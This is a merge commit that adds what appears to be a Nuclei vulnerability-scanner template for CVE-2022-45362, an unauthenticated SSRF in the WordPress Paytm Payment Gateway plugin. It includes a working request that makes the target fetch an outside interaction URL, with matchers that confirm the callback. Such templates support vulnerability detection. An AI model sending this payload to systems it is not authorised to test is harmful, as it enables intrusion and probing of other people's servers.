Merge pull request #6412 from theamanrawat/CVE-2022-45362

Added template for CVE-2022-45362

cves/2022/CVE-2022-45362.yaml

@@ -0,0 +1,40 @@
+id: CVE-2022-45362
+
+info:
+  name: Paytm Payment Gateway Plugin <= 2.7.0 Server Side Request Forgery (SSRF)
+  author: theamanrawat
+  severity: high
+  description: |
+     Server Side Request Forgery (SSRF) vulnerability in WordPress Paytm Payment Gateway Plugin. This could allow a malicious actor to cause a website to execute website requests to an arbitrary domain of the attacker. This could allow a malicious actor to find sensitive information.
+  reference:
+    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability
+    - https://wordpress.org/plugins/paytm-payments/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2022-45362
+  metadata:
+    verified: true
+  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm
+
+requests:
+  - raw:
+      - |
+        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        part: body
+        words:
+          - "paytm-payments.css"
+
+      - type: status
+        status:
+          - 200